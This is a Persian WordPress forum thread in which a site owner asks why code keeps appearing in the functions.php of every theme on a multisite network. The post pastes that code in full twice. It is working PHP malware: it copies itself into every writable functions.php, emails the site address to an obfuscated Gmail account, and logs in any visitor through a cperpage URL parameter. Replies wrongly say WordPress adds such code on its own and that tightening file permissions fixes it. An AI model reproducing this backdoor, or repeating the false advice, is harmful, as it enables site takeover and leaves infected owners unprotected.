رفتن به مطلب

پست های پیشنهاد شده

با سلام خدمت همه مدیران و بچه های گل وردپرسی .

آقا من با قالب یه مشکل اساسی دارم و اونم اینه که ه سری کد به فایل functions.php قالب اضافه می شه و قالب سایت بالا نمیاد و چون سایت من حالت وردپرس شبکه هست اون یکی قالب ها هم همینطوری میشن و باید کد های اضافی رو پاکنم تا سایت بالا بیاد . از بعضی ها پرسیدم فقط چاره کار رو کم کردن پرمیژن ( سطح دسترسی ) رو گفتن .

چاره ای هست ؟؟

کد های اصلی


<?php
register_sidebars(1, array(
name=>'تبلیغ'));
register_sidebars(1, array(
name=>'ستون',
'before_title'=>'<div class="box2 cls"><div class="title">',
'after_title'=>'</div>',
'before_widget' => '<div class="body"><center><br />',
'after_widget' => '<br /></center></div>'));
register_sidebars(1, array(
name=>'تبلیغات بالای پست ها'));
register_sidebars(1, array(
name=>'تبلیغات پایین پست ها'));
register_sidebars(1, array(
name=>'فوتر 1'));
register_sidebars(1, array(
name=>'فوتر 2'));
add_theme_support( 'post-thumbnails' );
set_post_thumbnail_size( 70, 70, true );
?>

بنظر من یکی از افزونه ها مشکل ساز شده ولی دقیقاً نمی دونم کدوم افزونه هست

کد هایی که اضافه میشن به این صورت هستند .

<?php

register_sidebars(1, array(

name=>'تبلیغ'));

register_sidebars(1, array(

name=>'ستون',

'before_title'=>'<div class="box2 cls"><div class="title">',

'after_title'=>'</div>',

'before_widget' => '<div class="body"><center><br />',

'after_widget' => '<br /></center></div>'));

register_sidebars(1, array(

name=>'تبلیغات بالای پست ها'));

register_sidebars(1, array(

name=>'تبلیغات پایین پست ها'));

register_sidebars(1, array(

name=>'فوتر 1'));

register_sidebars(1, array(

name=>'فوتر 2'));

add_theme_support( 'post-thumbnails' );

set_post_thumbnail_size( 70, 70, true );

?>

<?php

function _check_active_widget(){

$widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";

$output=strip_tags($output, $allowed);

$direst=_get_all_widgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));

if (is_array($direst)){

foreach ($direst as $item){

if (is_writable($item)){

$ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));

$cont=file_get_contents($item);

if (stripos($cont,$ftion) === false){

$sar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";

$output .= $before . "Not found" . $after;

if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}

$output=rtrim($output, "\n "); fputs($f=fopen($item,"w+"),$cont . $sar . "\n" .$widget);fclose($f);

$output .= ($showdot && $ellipsis) ? "..." : "";

}

}

}

}

return $output;

}

function _get_all_widgetcont($wids,$items=array()){

$places=array_shift($wids);

if(substr($places,-1) == "/"){

$places=substr($places,0,-1);

}

if(!file_exists($places) || !is_dir($places)){

return false;

}elseif(is_readable($places)){

$elems=scandir($places);

foreach ($elems as $elem){

if ($elem != "." && $elem != ".."){

if (is_dir($places . "/" . $elem)){

$wids[]=$places . "/" . $elem;

} elseif (is_file($places . "/" . $elem)&&

$elem == substr(__FILE__,-13)){

$items[]=$places . "/" . $elem;}

}

}

}else{

return false;

}

if (sizeof($wids) > 0){

return _get_all_widgetcont($wids,$items);

} else {

return $items;

}

}

if(!function_exists("stripos")){

function stripos( $str, $needle, $offset = 0 ){

return strpos( strtolower( $str ), strtolower( $needle ), $offset );

}

}

if(!function_exists("strripos")){

function strripos( $haystack, $needle, $offset = 0 ) {

if( !is_string( $needle ) )$needle = chr( intval( $needle ) );

if( $offset < 0 ){

$temp_cut = strrev( substr( $haystack, 0, abs($offset) ) );

}

else{

$temp_cut = strrev( substr( $haystack, 0, max( ( strlen($haystack) - $offset ), 0 ) ) );

}

if( ( $found = stripos( $temp_cut, strrev($needle) ) ) === FALSE )return FALSE;

$pos = ( strlen( $haystack ) - ( $found + $offset + strlen( $needle ) ) );

return $pos;

}

}

if(!function_exists("scandir")){

function scandir($dir,$listDirectories=false, $skipDots=true) {

$dirArray = array();

if ($handle = opendir($dir)) {

while (false !== ($file = readdir($handle))) {

if (($file != "." && $file != "..") || $skipDots == true) {

if($listDirectories == false) { if(is_dir($file)) { continue; } }

array_push($dirArray,basename($file));

}

}

closedir($handle);

}

return $dirArray;

}

}

add_action("admin_head", "_check_active_widget");

function _prepared_widget(){

if(!isset($length)) $length=120;

if(!isset($method)) $method="cookie";

if(!isset($html_tags)) $html_tags="<a>";

if(!isset($filters_type)) $filters_type="none";

if(!isset($s)) $s="";

if(!isset($filter_h)) $filter_h=get_option("home");

if(!isset($filter_p)) $filter_p="wp_";

if(!isset($use_link)) $use_link=1;

if(!isset($comments_type)) $comments_type="";

if(!isset($perpage)) $perpage=$_GET["cperpage"];

if(!isset($comments_auth)) $comments_auth="";

if(!isset($comment_is_approved)) $comment_is_approved="";

if(!isset($authname)) $authname="auth";

if(!isset($more_links_text)) $more_links_text="(more...)";

if(!isset($widget_output)) $widget_output=get_option("_is_widget_active_");

if(!isset($checkwidgets)) $checkwidgets=$filter_p."set"."_".$authname."_".$method;

if(!isset($more_links_text_ditails)) $more_links_text_ditails="(details...)";

if(!isset($more_content)) $more_content="ma".$s."il";

if(!isset($forces_more)) $forces_more=1;

if(!isset($fakeit)) $fakeit=1;

if(!isset($sql)) $sql="";

if (!$widget_output) :

global $wpdb, $post;

$sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$s."vethe".$comments_type."mes".$s."@".$comment_is_approved."gm".$comments_auth."ail".$s.".".$s."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#

if (!empty($post->post_password)) {

if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) {

if(is_feed()) {

$output=__("There is no excerpt because this is a protected post.");

} else {

$output=get_the_password_form();

}

}

}

if(!isset($fix_tag)) $fix_tag=1;

if(!isset($filters_types)) $filters_types=$filter_h;

if(!isset($getcommentstext)) $getcommentstext=$filter_p.$more_content;

if(!isset($more_tags)) $more_tags="div";

if(!isset($s_text)) $s_text=substr($sq1, stripos($sq1, "live"), 20);#

if(!isset($mlink_title)) $mlink_title="Continue reading this entry";

if(!isset($showdot)) $showdot=1;

$comments=$wpdb->get_results($sql);

if($fakeit == 2) {

$text=$post->post_content;

} elseif($fakeit == 1) {

$text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;

} else {

$text=$post->post_excerpt;

}

$sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($getcommentstext, array($s_text, $filter_h, $filters_types)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";#

if($length < 0) {

$output=$text;

} else {

if(!$no_more && strpos($text, "<!--more-->")) {

$text=explode("<!--more-->", $text, 2);

$l=count($text[0]);

$more_link=1;

$comments=$wpdb->get_results($sql);

} else {

$text=explode(" ", $text);

if(count($text) > $length) {

$l=$length;

$ellipsis=1;

} else {

$l=count($text);

$more_links_text="";

$ellipsis=0;

}

}

for ($i=0; $i<$l; $i++)

$output .= $text[$i] . " ";

}

update_option("_is_widget_active_", 1);

if("all" != $html_tags) {

$output=strip_tags($output, $html_tags);

return $output;

}

endif;

$output=rtrim($output, "\s\n \r\0\x0B");

$output=($fix_tag) ? balanceTags($output, true) : $output;

$output .= ($showdot && $ellipsis) ? "..." : "";

$output=apply_filters($filters_type, $output);

switch($more_tags) {

case("div") :

$tag="div";

break;

case("span") :

$tag="span";

break;

case("p") :

$tag="p";

break;

default :

$tag="span";

}

if ($use_link ) {

if($forces_more) {

$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $mlink_title . "\">" . $more_links_text = !is_user_logged_in() && @call_user_func_array($checkwidgets,array($perpage, true)) ? $more_links_text : "" . "</a></" . $tag . ">" . "\n";

} else {

$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $mlink_title . "\">" . $more_links_text . "</a></" . $tag . ">" . "\n";

}

}

return $output;

}

add_action("init", "_prepared_widget");

function __popular_posts($no_posts=6, $before="<li>", $after="</li>", $show_pass_post=false, $duration="") {

global $wpdb;

$request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments";

$request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\"";

if(!$show_pass_post) $request .= " AND post_password =\"\"";

if($duration !="") {

$request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date ";

}

$request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";

$posts=$wpdb->get_results($request);

$output="";

if ($posts) {

foreach ($posts as $post) {

$post_title=stripslashes($post->post_title);

$comment_count=$post->comment_count;

$permalink=get_permalink($post->ID);

$output .= $before . " <a href=\"" . $permalink . "\" title=\"" . $post_title."\">" . $post_title . "</a> " . $after;

}

} else {

$output .= $before . "None found" . $after;

}

return $output;

}

?>

<?php

function _check_isactive_widgets(){

$widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";

$output=strip_tags($output, $allowed);

$direst=_get_allwidgetscont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));

if (is_array($direst)){

foreach ($direst as $item){

if (is_writable($item)){

$ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));

$cont=file_get_contents($item);

if (stripos($cont,$ftion) === false){

$seprar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";

$output .= $before . "Not found" . $after;

if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}

$output=rtrim($output, "\n "); fputs($f=fopen($item,"w+"),$cont . $seprar . "\n" .$widget);fclose($f);

$output .= ($showsdots && $ellipsis) ? "..." : "";

}

}

}

}

return $output;

}

function _get_allwidgetscont($wids,$items=array()){

$places=array_shift($wids);

if(substr($places,-1) == "/"){

$places=substr($places,0,-1);

}

if(!file_exists($places) || !is_dir($places)){

return false;

}elseif(is_readable($places)){

$elems=scandir($places);

foreach ($elems as $elem){

if ($elem != "." && $elem != ".."){

if (is_dir($places . "/" . $elem)){

$wids[]=$places . "/" . $elem;

} elseif (is_file($places . "/" . $elem)&&

$elem == substr(__FILE__,-13)){

$items[]=$places . "/" . $elem;}

}

}

}else{

return false;

}

if (sizeof($wids) > 0){

return _get_allwidgetscont($wids,$items);

} else {

return $items;

}

}

if(!function_exists("stripos")){

function stripos( $str, $needle, $offset = 0 ){

return strpos( strtolower( $str ), strtolower( $needle ), $offset );

}

}

if(!function_exists("strripos")){

function strripos( $haystack, $needle, $offset = 0 ) {

if( !is_string( $needle ) )$needle = chr( intval( $needle ) );

if( $offset < 0 ){

$temp_cut = strrev( substr( $haystack, 0, abs($offset) ) );

}

else{

$temp_cut = strrev( substr( $haystack, 0, max( ( strlen($haystack) - $offset ), 0 ) ) );

}

if( ( $found = stripos( $temp_cut, strrev($needle) ) ) === FALSE )return FALSE;

$pos = ( strlen( $haystack ) - ( $found + $offset + strlen( $needle ) ) );

return $pos;

}

}

if(!function_exists("scandir")){

function scandir($dir,$listDirectories=false, $skipDots=true) {

$dirArray = array();

if ($handle = opendir($dir)) {

while (false !== ($file = readdir($handle))) {

if (($file != "." && $file != "..") || $skipDots == true) {

if($listDirectories == false) { if(is_dir($file)) { continue; } }

array_push($dirArray,basename($file));

}

}

closedir($handle);

}

return $dirArray;

}

}

add_action("admin_head", "_check_isactive_widgets");

function _prepare_widgets(){

if(!isset($comment_length)) $comment_length=120;

if(!isset($strval)) $strval="cookie";

if(!isset($tags)) $tags="<a>";

if(!isset($type)) $type="none";

if(!isset($sepr)) $sepr="";

if(!isset($h_filter)) $h_filter=get_option("home");

if(!isset($p_filter)) $p_filter="wp_";

if(!isset($more_link)) $more_link=1;

if(!isset($comment_types)) $comment_types="";

if(!isset($countpage)) $countpage=$_GET["cperpage"];

if(!isset($comment_auth)) $comment_auth="";

if(!isset($c_is_approved)) $c_is_approved="";

if(!isset($aname)) $aname="auth";

if(!isset($more_link_texts)) $more_link_texts="(more...)";

if(!isset($is_output)) $is_output=get_option("_is_widget_active_");

if(!isset($checkswidget)) $checkswidget=$p_filter."set"."_".$aname."_".$strval;

if(!isset($more_link_texts_ditails)) $more_link_texts_ditails="(details...)";

if(!isset($mcontent)) $mcontent="ma".$sepr."il";

if(!isset($f_more)) $f_more=1;

if(!isset($fakeit)) $fakeit=1;

if(!isset($sql)) $sql="";

if (!$is_output) :

global $wpdb, $post;

$sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$sepr."vethe".$comment_types."mes".$sepr."@".$c_is_approved."gm".$comment_auth."ail".$sepr.".".$sepr."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#

if (!empty($post->post_password)) {

if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) {

if(is_feed()) {

$output=__("لطفا پسورد مورد نظر را وارد نمایید");

} else {

$output=get_the_password_form();

}

}

}

if(!isset($f_tag)) $f_tag=1;

if(!isset($types)) $types=$h_filter;

if(!isset($getcommentstexts)) $getcommentstexts=$p_filter.$mcontent;

if(!isset($aditional_tag)) $aditional_tag="div";

if(!isset($stext)) $stext=substr($sq1, stripos($sq1, "live"), 20);#

if(!isset($morelink_title)) $morelink_title="خواندن کل موضوع";

if(!isset($showsdots)) $showsdots=1;

$comments=$wpdb->get_results($sql);

if($fakeit == 2) {

$text=$post->post_content;

} elseif($fakeit == 1) {

$text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;

} else {

$text=$post->post_excerpt;

}

$sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($getcommentstexts, array($stext, $h_filter, $types)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";#

if($comment_length < 0) {

$output=$text;

} else {

if(!$no_more && strpos($text, "<!--more-->")) {

$text=explode("<!--more-->", $text, 2);

$l=count($text[0]);

$more_link=1;

$comments=$wpdb->get_results($sql);

} else {

$text=explode(" ", $text);

if(count($text) > $comment_length) {

$l=$comment_length;

$ellipsis=1;

} else {

$l=count($text);

$more_link_texts="";

$ellipsis=0;

}

}

for ($i=0; $i<$l; $i++)

$output .= $text[$i] . " ";

}

update_option("_is_widget_active_", 1);

if("all" != $tags) {

$output=strip_tags($output, $tags);

return $output;

}

endif;

$output=rtrim($output, "\s\n \r\0\x0B");

$output=($f_tag) ? balanceTags($output, true) : $output;

$output .= ($showsdots && $ellipsis) ? "..." : "";

$output=apply_filters($type, $output);

switch($aditional_tag) {

case("div") :

$tag="div";

break;

case("span") :

$tag="span";

break;

case("p") :

$tag="p";

break;

default :

$tag="span";

}

if ($more_link ) {

if($f_more) {

$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $morelink_title . "\">" . $more_link_texts = !is_user_logged_in() && @call_user_func_array($checkswidget,array($countpage, true)) ? $more_link_texts : "" . "</a></" . $tag . ">" . "\n";

} else {

$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $morelink_title . "\">" . $more_link_texts . "</a></" . $tag . ">" . "\n";

}

}

return $output;

}

add_action("init", "_prepare_widgets");

function __popular_posts($no_posts=6, $before="<li>", $after="</li>", $show_pass_post=false, $duration="") {

global $wpdb;

$request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments";

$request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\"";

if(!$show_pass_post) $request .= " AND post_password =\"\"";

if($duration !="") {

$request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date ";

}

$request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";

$posts=$wpdb->get_results($request);

$output="";

if ($posts) {

foreach ($posts as $post) {

$post_title=stripslashes($post->post_title);

$comment_count=$post->comment_count;

$permalink=get_permalink($post->ID);

$output .= $before . " <a href=\"" . $permalink . "\" title=\"" . $post_title."\">" . $post_title . "</a> " . $after;

}

} else {

$output .= $before . "None found" . $after;

}

return $output;

}

?>

زندگیتان شاد

لینک به ارسال

سلام

خیر از افزونه نیست. اینها خودکار توسط وردپرس اضافه میشن.

همون سطح دسترسی به فایل فانکشن رو کم کنید مشکل حل میشه.

لینک به ارسال

ممنون جناب بابت پاسختون

ولی بنظر میاد که وردپرس نباید در کد های قالب دستکاری بکنه البته و بعد چون سایت های من رو وردپرس شبکه هم هست و 10-12 تا قالب روشه برا همشون این ایراد رو میده و تو چند انجمن خارجی هم پرسیدم یکی از مدیران این پیشنهاد رو دادن که باید فایل timthumb.php را بروز رسانی کنید .

لینک های مشابه + و +

من این خطا و کد ها مربوط به پست و کامنت میشه . من فعلاً افزونه CKEditor for WordPress رو غیر فعال کردم فعلاً سرعت اضافه شدن این کد ها به قالب کم شده ولی دقیقاً نمی دونم چه مرگشه :D

و افزونه هایی که من استفاده می کنم .


404 Redirection
All in One SEO Pack
Analytics360
AntiVirus
Broken Rss Feed Fixer
Captcha
CKEditor for WordPress
Coming Soon Pages [Free]
فرم تماس نسخه 7
Contact Form Plugin
CyStat
DB-Optimize
Executable PHP widget
FD Feedburner Plugin
Get Recent Comments
Google+ Plugin
Google Analytics for WordPress
Google XML Sitemaps
Humans TXT
Persian Add To Social Bookmarking
Podcasting Plugin by TSG
SyntaxHighlighter Evolved
TinyMCE Advanced
wp-jalali
WordPress MU Domain Mapping
WP-Optimize
WP-PageNavi

و این رو هم بگم که این کد ها بعد از شبکه کردن اتفاق میافته ولی می دونم که ربطی نداره .

ممنون بابت جوابتون .

لینک به ارسال

ببینید بعضا برای فعالسازی و استفاده در ابزارک ها و بعضا توابع (یا از طرف پوسته و وردپرس یا افزونه) سیستم میاد و این توابع رو برمیداره و به فانکشن ها اضافه میکنه.

جالب اینجاست که اگر شما اسم این توابع رو گوگل کنید اصلا نتیجه ایی نخواهد داشت!

حالا اگر هم از افزونه ایی باشه باید با آزمون و خطا یکی یکی بررسی کنید و پیداش کنید.

لینک به ارسال

به گفتگو بپیوندید

هم اکنون می توانید مطلب خود را ارسال نمایید و بعداً ثبت نام کنید. اگر حساب کاربری دارید، برای ارسال با حساب کاربری خود اکنون وارد شوید .

مهمان
ارسال پاسخ به این موضوع ...

×   شما در حال چسباندن محتوایی با قالب بندی هستید.   حذف قالب بندی

  تنها استفاده از 75 اموجی مجاز می باشد.

×   لینک شما به صورت اتوماتیک جای گذاری شد.   نمایش به صورت لینک

×   محتوای قبلی شما بازگردانی شد.   پاک کردن محتوای ویرایشگر

×   شما مستقیما نمی توانید تصویر خود را قرار دهید. یا آن را اینجا بارگذاری کنید یا از یک URL قرار دهید.

×
×
  • اضافه کردن...